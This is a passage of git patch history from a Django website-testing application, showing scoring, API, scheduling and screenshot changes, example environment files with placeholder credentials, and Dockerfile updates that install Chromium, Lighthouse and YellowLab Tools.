= self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( + delta_html_data['post_micro_delta']['delta_parsed_diff'] + ) + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + + + if 'logs' in self.test.type or 'full' in self.test.type: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + } + + + + if 'lighthouse' in self.test.type or 'full' in self.test.type: + # scores & data + lighthouse_data = self.delta_lighthouse() + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None: + lighthouse_score = (100 + lighthouse_avg)/100 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 0: + delta_lh_w = 0 + else: + delta_lh_w = 1 + + + if 'vrt' in self.test.type or 'full' in self.test.type: + # scores & data + images_data = Image().test(test=self.test, index=index) + images_score = images_data['average_score'] / 100 + + # weights + images_w = 2 + - if delta_scores_avg_diff == None: - delta_scores_w = 0 - elif delta_scores_avg_diff > 0: - delta_scores_w = 0 - else: - delta_scores_w = 1 total_w = ( html_score_w + logs_score_w + num_html_w - + num_logs_w + delta_scores_w + micro_diff_w + + num_logs_w + delta_lh_w + micro_diff_w + + images_w ) @@ -330,35 +407,28 @@ def run_full_test(self): (logs_score * logs_score_w) + (num_logs_ratio * num_logs_w) + (num_html_ratio * num_html_w) + - (delta_scores * delta_scores_w) + - (micro_diff_score * micro_diff_w) + (lighthouse_score * delta_lh_w) + + (micro_diff_score * micro_diff_w) + + (images_score * images_w) ) / total_w) * 100 + print( "Formula was --> ((" + str(html_score*html_score_w) + " + " + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " - + str(num_html_ratio*num_html_w) + " + " + str(delta_scores*delta_scores_w) + - " + " + str(micro_diff_score*micro_diff_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) - ) - - html_delta_context = { - "pre_html_delta": delta_html_data['delta_html_pre'], - "post_html_delta": delta_html_data['delta_html_post'], - "pre_micro_delta": delta_html_data['pre_micro_delta'], - "post_micro_delta": delta_html_data['post_micro_delta'], - } + + str(num_html_ratio*num_html_w) + " + " + str(lighthouse_score*delta_lh_w) + + " + " + str(micro_diff_score*micro_diff_w) + " + " + str(images_score * images_w)+ + ") / " + str(total_w) + ") * 100 ===> " + str(score) + ) - logs_delta_context = { - "pre_logs_delta": delta_logs_data['delta_logs_pre'], - "post_logs_delta": delta_logs_data['delta_logs_post'], - } self.test.time_completed = datetime.now() self.test.html_delta = html_delta_context self.test.logs_delta = logs_delta_context - self.test.score = score - self.test.scores_delta = delta_scores_data + self.test.lighthouse_delta = lighthouse_data self.test.images_delta = images_data + self.test.score = score + self.test.save() self.update_site_info(self.test) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index a27b25d0..770d5f23 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -39,7 +39,7 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'scores', 'audits', 'images' + 'html', 'logs', 'lighthouse', 'images', 'configs', ] @@ -50,7 +50,8 @@ class SmallScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 'scores' + fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 'lighthouse', + 'configs', ] @@ -64,7 +65,7 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'scores_delta', 'images_delta' + 'lighthouse_delta', 'images_delta' ] @@ -77,7 +78,7 @@ class SmallTestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', - 'pre_scan', 'post_scan', 'score', 'scores_delta' + 'pre_scan', 'post_scan', 'score', 'lighthouse_delta' ] @@ -91,7 +92,7 @@ class Meta: model = Schedule fields = ['id', 'site', 'time_created', 'user', 'task_type', 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', - 'periodic_task_id', 'status', 'automation' + 'periodic_task_id', 'status', 'automation', 'extras' ] diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index e4ae656e..cdc7aa33 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,22 +1,16 @@ -import json, datetime, boto3 +import json, boto3 +from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask -from ...models import (Test, Site, Scan, Log, Automation) +from ...models import * from rest_framework.response import Response from rest_framework import status -from ...models import (Test, Site, Scan, Log, Schedule, Account) -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer, SmallTestSerializer, - SmallScanSerializer, - ) +from .serializers import * from rest_framework.pagination import LimitOffsetPagination from ...utils.scanner import Scanner as S from ...utils.tester import Tester as T -from ...tasks import ( - create_site_bg, create_scan_bg, create_test_bg, - delete_site_s3_bg - ) +from ...tasks import * +from ...utils.image import Image as I @@ -106,6 +100,24 @@ def create_site(request, delay=False): +def create_site_screenshot(request, id): + user = request.user + site = Site.objects.get(id=id) + + if site.user != user: + data = {'reason': 'you cannot retrieve a screenshot of a site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + configs = request.data.get('configs', None) + + data = I().screenshot(site=site, configs=configs) + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + def get_sites(request): site_id = request.query_params.get('site_id') user = request.user @@ -167,27 +179,74 @@ def create_test(request, delay=False): user = request.user site = Site.objects.get(id=site_id, ) if site.user != user: - data = {'reason': 'you cannot create a Test of a Site you do not own',} + data = {'reason': 'you cannot create a Test of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + + # get data from request + configs = request.data.get('configs', None) + pre_scan_id = request.data.get('pre_scan', None) + post_scan_id = request.data.get('post_scan', None) + index = request.data.get('index', None) + test_type = request.data.get('type', ['full']) + pre_scan = None + post_scan = None + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + + if pre_scan_id: + pre_scan = Scan.objects.get(id=pre_scan_id) + if post_scan_id: + post_scan = Scan.objects.get(id=post_scan_id) + + if delay == True: - create_test_bg.delay(site.id) + create_test_bg.delay( + site_id=site.id, + configs=configs, + type=test_type, + index=index, + pre_scan=pre_scan_id, + post_scan=post_scan_id + ) data = {'message': 'test is being created in the background'} record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) + else: - test = Test.objects.create(site=site) - new_scan = S(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + if not pre_scan and not post_scan: + new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + if not post_scan and pre_scan: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() - test.pre_scan = pre_scan - test.post_scan = post_scan - test.save() + post_scan.save() + + # creating new test object + test = Test.objects.create( + site=site, + type=test_type, + pre_scan=pre_scan, + post_scan=post_scan, + ) - updated_test = T(test=test).run_full_test() + # running tester + updated_test = T(test=test).run_test(index=index) serializer_context = {'request': request,} serialized = TestSerializer(updated_test, context=serializer_context) @@ -199,6 +258,10 @@ def create_test(request, delay=False): + + + + def get_tests(request): user = request.user test_id = request.query_params.get('test_id') @@ -307,15 +370,25 @@ def create_scan(request, delay=False): record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + configs = request.data.get('configs', None) + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + if delay == True: - create_scan_bg.delay(site.id) + create_scan_bg.delay(site.id, configs=configs) data = {'message': 'scan is being created in the background'} record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) else: created_scan = Scan.objects.create(site=site) - updated_scan = S(scan=created_scan).first_scan() - + updated_scan = S(scan=created_scan, configs=configs).first_scan() serializer_context = {'request': request,} serialized = ScanSerializer(updated_scan, context=serializer_context) data = serialized.data @@ -437,24 +510,17 @@ def create_or_update_schedule(request): except: schedule = None - try: - schedule_status = request.data['status'] - except: - schedule_status = None - - try: - begin_date_raw = request.data['begin_date'] - time = request.data['time'] - timezone = request.data['timezone'] - freq = request.data['frequency'] - task_type = request.data['task_type'] - except: - pass - try: - schedule_id = request.data['schedule_id'] - except: - schedule_id = None + schedule_status = request.data.get('status', None) + begin_date_raw = request.data.get('begin_date', None) + time = request.data.get('time', None) + timezone = request.data.get('timezone', None) + freq = request.data.get('frequency', None) + task_type = request.data.get('task_type', None) + test_type = request.data.get('test_type', None) + configs = request.data.get('configs', None) + schedule_id = request.data.get('schedule_id', None) + if schedule_status != None and schedule != None: @@ -474,20 +540,23 @@ def create_or_update_schedule(request): task = 'api.tasks.create_test_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, + 'type': test_type, } if task_type == 'scan': task = 'api.tasks.create_scan_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, } format_str = '%m/%d/%Y' try: - begin_date = datetime.datetime.strptime(begin_date_raw, format_str) + begin_date = datetime.strptime(begin_date_raw, format_str) except: - begin_date = datetime.datetime.now() + begin_date = datetime.now() num_day_of_week = begin_date.weekday() day = begin_date.strftime("%d") @@ -518,12 +587,9 @@ def create_or_update_schedule(request): periodic_task.update( crontab=crontab, name=task_name, task=task, + kwargs=json.dumps(arguments), ) periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - elif PeriodicTask.objects.filter(name=task_name).exists(): - data = {'reason': 'Task has already be created',} - record_api_call(request, data, '401') - return Response(data, status=status.HTTP_401_UNAUTHORIZED) else: periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, @@ -531,11 +597,20 @@ def create_or_update_schedule(request): ) else: + if PeriodicTask.objects.filter(name=task_name).exists(): + data = {'reason': 'Task has already be created',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_401_UNAUTHORIZED) + periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, kwargs=json.dumps(arguments), ) + extras = { + "configs": configs, + "test_type": test_type, + } if schedule: schedule_query = Schedule.objects.filter(id=schedule_id) @@ -544,6 +619,7 @@ def create_or_update_schedule(request): user=request.user, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, task_type=task_type, + extras=extras ) schedule_new = Schedule.objects.get(id=schedule_id) else: @@ -551,7 +627,8 @@ def create_or_update_schedule(request): user=request.user, site=site, task_type=task_type, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, - periodic_task_id=periodic_task.id, + periodic_task_id=periodic_task.id, + extras=extras ) serializer_context = {'request': request,} diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 2dcd8b64..69f0c299 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -13,32 +13,63 @@ def create_site_task(site_id): return site -def create_scan_task(site_id, automation_id=None): +def create_scan_task( + site_id, + automation_id=None, + configs=None + ): site = Site.objects.get(id=site_id) created_scan = Scan.objects.create(site=site) - scan = S(scan=created_scan).first_scan() + scan = S(scan=created_scan, configs=configs).first_scan() if automation_id: automation(automation_id, scan.id) return scan -def create_test_task(site_id, automation_id=None): + + +def create_test_task( + site_id, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + ): site = Site.objects.get(id=site_id) - created_test = Test.objects.create(site=site) - new_scan = S(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + + if not pre_scan and not post_scan: + new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + if not post_scan and pre_scan: + pre_scan = Scan.objects.get(id=pre_scan) + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() - created_test.pre_scan = pre_scan - created_test.post_scan = post_scan - created_test.save() - test = T(test=created_test).run_full_test() + post_scan.save() + + # creating new test object + created_test = Test.objects.create( + site=site, + type=type, + pre_scan=pre_scan, + post_scan=post_scan, + ) + + test = T(test=created_test).run_test(index=index) if automation_id: automation(automation_id, test.id) return test + + def delete_site_s3(site_id): # setup boto3 configurations s3 = boto3.resource('s3', diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index 243f95b2..ac6a96df 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -5,6 +5,7 @@ urlpatterns = [ path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), + path('site//screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), path('site/delay', views.SiteDelay.as_view(), name='site-delay'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 2fd4088f..2168656f 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -2,7 +2,7 @@ from rest_framework.response import Response from rest_framework import status from django.contrib.auth.models import User -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from ...models import * from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.viewsets import ViewSet @@ -10,18 +10,10 @@ from rest_framework.views import APIView from rest_framework.permissions import IsAuthenticated from django.views.decorators.csrf import ensure_csrf_cookie -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer - ) from rest_framework.pagination import LimitOffsetPagination -from .services import ( - record_api_call, create_or_update_schedule, create_test, get_tests, delete_test, - create_scan, get_scans, delete_scan, get_logs, create_site, get_sites, delete_site, - create_or_update_automation, get_automations, delete_automation, get_schedules, - delete_schedule, get_home_stats - ) from django.urls import resolve +from .serializers import * +from .services import * @@ -60,6 +52,15 @@ def delete(self, request, id): return response +class SiteScreenshot(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def get(self, request, id): + response = create_site_screenshot(request, id) + return response + + class SiteDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] From 3677acee7c7470d75b222061b44afaff2f77cd8f Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 3 Feb 2022 18:23:13 -0600 Subject: [PATCH 006/277] added example .env files --- env/.env.dev.example | 71 +++++++++++++++++++++++++++++++++++++++++++ env/.env.prod.example | 70 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 141 insertions(+) create mode 100644 env/.env.dev.example create mode 100644 env/.env.prod.example diff --git a/env/.env.dev.example b/env/.env.dev.example new file mode 100644 index 00000000..8045cbb8 --- /dev/null +++ b/env/.env.dev.example @@ -0,0 +1,71 @@ +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = http://localhost:3000 +API_URL_ROOT = http://localhost:8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin +ADMIN_USER = fake +ADMIN_PASS = dontTryIt1234 +ADMIN_EMAIL = fake@example.com + + +# email creds +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com +EMAIL_HOST_PASSWORD = 1234456677888 + + +# database +DB_HOST = db +DB_NAME = app +DB_USER = postgres +DB_PASS = supersecretpassword +POSTGRES_DB = app +POSTGRES_USER = postgres +POSTGRES_PASSWORD = supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = +AWS_S3_REGION_NAME = +AWS_S3_ENDPOINT_URL = +AWS_S3_ENDPOINT_PATH = +AWS_S3_CUSTOM_DOMAIN = +AWS_S3_URL_PATH = +STORAGE_DOMAIN = +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example new file mode 100644 index 00000000..1e7b14ea --- /dev/null +++ b/env/.env.prod.example @@ -0,0 +1,70 @@ +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = https://app.example.io +API_URL_ROOT = https://api.example.io +LETSENCRYPT_HOST = api.example.io +DJANGO_ALLOWED_HOSTS = * + + +# admin +ADMIN_USER = fake +ADMIN_PASS = dontTryIt1234 +ADMIN_EMAIL = fake@example.com + + +# email creds +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com +EMAIL_HOST_PASSWORD = 1234456677888 + + +# database +DB_NAME = defaultdb +DB_USER = doadmin +DB_PASS = +DB_PORT = +DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = +AWS_S3_REGION_NAME = +AWS_S3_ENDPOINT_URL = +AWS_S3_ENDPOINT_PATH = +AWS_S3_CUSTOM_DOMAIN = +AWS_S3_URL_PATH = +STORAGE_DOMAIN = +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file From 8511ceb8133a514315e2d170faa2b261c39ddabc Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 4 Feb 2022 13:21:11 -0600 Subject: [PATCH 007/277] updated .env's examples --- README.md | 17 ++++++++++------- env/.env.dev.example | 23 ++++++++++++----------- env/.env.prod.example | 35 ++++++++++++++++++----------------- 3 files changed, 40 insertions(+), 35 deletions(-) diff --git a/README.md b/README.md index b65da111..c5912c8d 100644 --- a/README.md +++ b/README.md @@ -29,13 +29,16 @@ Copyright © Scanerr 2021 ## Environment -Prior to running locally, configure all env's located in the /env directory. **For remote deployment, create all .env's in the deployed environment. Never store actual .env's in a repo.** Things to change: -- email addresses -- passwords -- usernames -- allowed hosts -- external API services and keys -- domain names (server and client) +Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: +- high level django configs +- admin credentials +- email credentials +- database configs +- stripe keys +- OAuth keys +- twilio credentials +- slack credentials +- s3 remote storage credentials   diff --git a/env/.env.dev.example b/env/.env.dev.example index 8045cbb8..7327533f 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -1,24 +1,25 @@ +# high level django configs SECRET_KEY = ask-for-this CLIENT_URL_ROOT = http://localhost:3000 API_URL_ROOT = http://localhost:8000 DJANGO_ALLOWED_HOSTS = * -# admin -ADMIN_USER = fake -ADMIN_PASS = dontTryIt1234 -ADMIN_EMAIL = fake@example.com +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example -# email creds +# email credentials EMAIL_HOST = smtp.gmail.com EMAIL_PORT = 587 EMAIL_USE_TLS = True -EMAIL_HOST_USER = fake@example.com -EMAIL_HOST_PASSWORD = 1234456677888 +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example -# database +# database configs DB_HOST = db DB_NAME = app DB_USER = postgres @@ -42,13 +43,13 @@ GOOGLE_OAUTH2_CLIENT_ID = GOOGLE_OAUTH2_CLIENT_SECRET = -# twilio +# twilio credentials TWILIO_SID = TWILIO_AUTH_TOKEN = TWILIO_NUMBER = -# slack +# slack credentials SLACK_APP_ID = SLACK_CLIENT_ID = SLACK_CLIENT_SECRET = @@ -57,7 +58,7 @@ SLACK_VERIFICATION_TOKEN = SLACK_BOT_TOKEN = -# s3 remote storage +# s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = AWS_STORAGE_BUCKET_NAME = diff --git a/env/.env.prod.example b/env/.env.prod.example index 1e7b14ea..2ce982fa 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -1,30 +1,31 @@ +# high level django configs SECRET_KEY = ask-for-this -CLIENT_URL_ROOT = https://app.example.io -API_URL_ROOT = https://api.example.io -LETSENCRYPT_HOST = api.example.io +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example DJANGO_ALLOWED_HOSTS = * -# admin -ADMIN_USER = fake -ADMIN_PASS = dontTryIt1234 -ADMIN_EMAIL = fake@example.com +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example -# email creds +# email credentials EMAIL_HOST = smtp.gmail.com EMAIL_PORT = 587 EMAIL_USE_TLS = True -EMAIL_HOST_USER = fake@example.com -EMAIL_HOST_PASSWORD = 1234456677888 +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example -# database -DB_NAME = defaultdb -DB_USER = doadmin +# database configs +DB_NAME = defaultdb # example +DB_USER = doadmin # example DB_PASS = DB_PORT = -DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com +DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example # paths @@ -41,13 +42,13 @@ GOOGLE_OAUTH2_CLIENT_ID = GOOGLE_OAUTH2_CLIENT_SECRET = -# twilio +# twilio credentials TWILIO_SID = TWILIO_AUTH_TOKEN = TWILIO_NUMBER = -# slack +# slack credentials SLACK_APP_ID = SLACK_CLIENT_ID = SLACK_CLIENT_SECRET = @@ -56,7 +57,7 @@ SLACK_VERIFICATION_TOKEN = SLACK_BOT_TOKEN = -# s3 remote storage +# s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = AWS_STORAGE_BUCKET_NAME = From a94925a859cef9591d4b2e8d987ae5e7a6102ee1 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Wed, 16 Feb 2022 14:48:05 -0600 Subject: [PATCH 008/277] added yellowlab, beta, and reports --- .gitignore | 1 + Dockerfile | 44 ++- Dockerfile.prod | 46 ++- app/api/admin.py | 10 +- app/api/models.py | 118 +++++- app/api/tasks.py | 26 +- app/api/utils/alerts.py | 304 +++++++++++--- app/api/utils/automations.py | 185 +++++++-- app/api/utils/driver.py | 13 +- app/api/utils/image.py | 19 +- app/api/utils/lighthouse.py | 19 +- app/api/utils/report_assets/cover_img.png | Bin 0 -> 119558 bytes app/api/utils/reporter.py | 459 ++++++++++++++++++++++ app/api/utils/scanner.py | 55 ++- app/api/utils/tester.py | 113 +++++- app/api/utils/wordpress.py | 350 +++++++++++++++++ app/api/utils/yellowlab.py | 133 +++++++ app/api/v1/ops/serializers.py | 28 +- app/api/v1/ops/services.py | 271 +++++++++++-- app/api/v1/ops/tasks.py | 91 ++++- app/api/v1/ops/urls.py | 6 +- app/api/v1/ops/views.py | 78 +++- app/scanerr/settings.py | 45 +-- docker-compose.prod.yml | 2 + docker-compose.yml | 2 + requirements.txt | 1 + 26 files changed, 2131 insertions(+), 288 deletions(-) create mode 100644 app/api/utils/report_assets/cover_img.png create mode 100644 app/api/utils/reporter.py create mode 100644 app/api/utils/wordpress.py create mode 100644 app/api/utils/yellowlab.py diff --git a/.gitignore b/.gitignore index 78cff447..8efdedf3 100644 --- a/.gitignore +++ b/.gitignore @@ -14,4 +14,5 @@ env/.env.staging env/.env.dev env/.env.prod env/.env.prod.db +app/static* diff --git a/Dockerfile b/Dockerfile index 184815dc..3e69e8a4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -5,14 +5,19 @@ ENV PYTHONUNBUFFERED 1 # create the app user RUN addgroup -S app && adduser -S app -G app +# installing postgres deps RUN apk add --update --no-cache postgresql-client jpeg-dev +# installing python3 RUN apk add --no-cache --update \ - python3 python3-dev gcc gfortran openssl + python3 python3-dev +# installing env deps RUN apk add --update --no-cache --virtual .tmp-build-deps \ gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip build-base libffi libffi-dev + build-base libffi libffi-dev fontconfig libjpeg-turbo-dev \ + ttf-freefont ca-certificates freetype freetype-dev harfbuzz nss \ + nasm git make g++ automake autoconf libtool gfortran openssl # installing chromium and chromium-chromedriver RUN apk add --update --no-cache chromium chromium-chromedriver @@ -20,13 +25,29 @@ RUN apk add --update --no-cache chromium chromium-chromedriver # installing node and npm RUN apk add --update nodejs npm +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + # installing lighthouse RUN npm install -g lighthouse -# Install numpy +# installing yellowlabs tools +RUN npm install -g yellowlabtools + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium-browser --no-sandbox --version + +# inatalling numpy RUN apk add --update --no-cache py3-numpy -# Install scipy +# installing scipy RUN apk add --update --no-cache py3-scipy # setting path for numpy and scipy @@ -35,22 +56,19 @@ ENV PYTHONPATH /usr/lib/python3.9/site-packages # super hacky BS to fix Alpine instalation issues with the data science packages RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; -# Install sewar +# installing sewar RUN python3 -m pip install --no-deps sewar==0.4.4 -# install requirements +# installing requirements COPY ./requirements.txt /requirements.txt RUN python3 -m pip install -r /requirements.txt RUN apk del .tmp-build-deps -RUN apk --no-cache add curl - +# setting working dir RUN mkdir /app COPY ./app /app WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app:app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium-browser \ No newline at end of file diff --git a/Dockerfile.prod b/Dockerfile.prod index 069fc2ea..3e69e8a4 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -5,14 +5,19 @@ ENV PYTHONUNBUFFERED 1 # create the app user RUN addgroup -S app && adduser -S app -G app +# installing postgres deps RUN apk add --update --no-cache postgresql-client jpeg-dev +# installing python3 RUN apk add --no-cache --update \ - python3 python3-dev gcc gfortran openssl + python3 python3-dev +# installing env deps RUN apk add --update --no-cache --virtual .tmp-build-deps \ gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip build-base libffi libffi-dev + build-base libffi libffi-dev fontconfig libjpeg-turbo-dev \ + ttf-freefont ca-certificates freetype freetype-dev harfbuzz nss \ + nasm git make g++ automake autoconf libtool gfortran openssl # installing chromium and chromium-chromedriver RUN apk add --update --no-cache chromium chromium-chromedriver @@ -20,13 +25,29 @@ RUN apk add --update --no-cache chromium chromium-chromedriver # installing node and npm RUN apk add --update nodejs npm +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + # installing lighthouse RUN npm install -g lighthouse -# Install numpy +# installing yellowlabs tools +RUN npm install -g yellowlabtools + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium-browser --no-sandbox --version + +# inatalling numpy RUN apk add --update --no-cache py3-numpy -# Install scipy +# installing scipy RUN apk add --update --no-cache py3-scipy # setting path for numpy and scipy @@ -35,22 +56,19 @@ ENV PYTHONPATH /usr/lib/python3.9/site-packages # super hacky BS to fix Alpine instalation issues with the data science packages RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; -# Install sewar -RUN 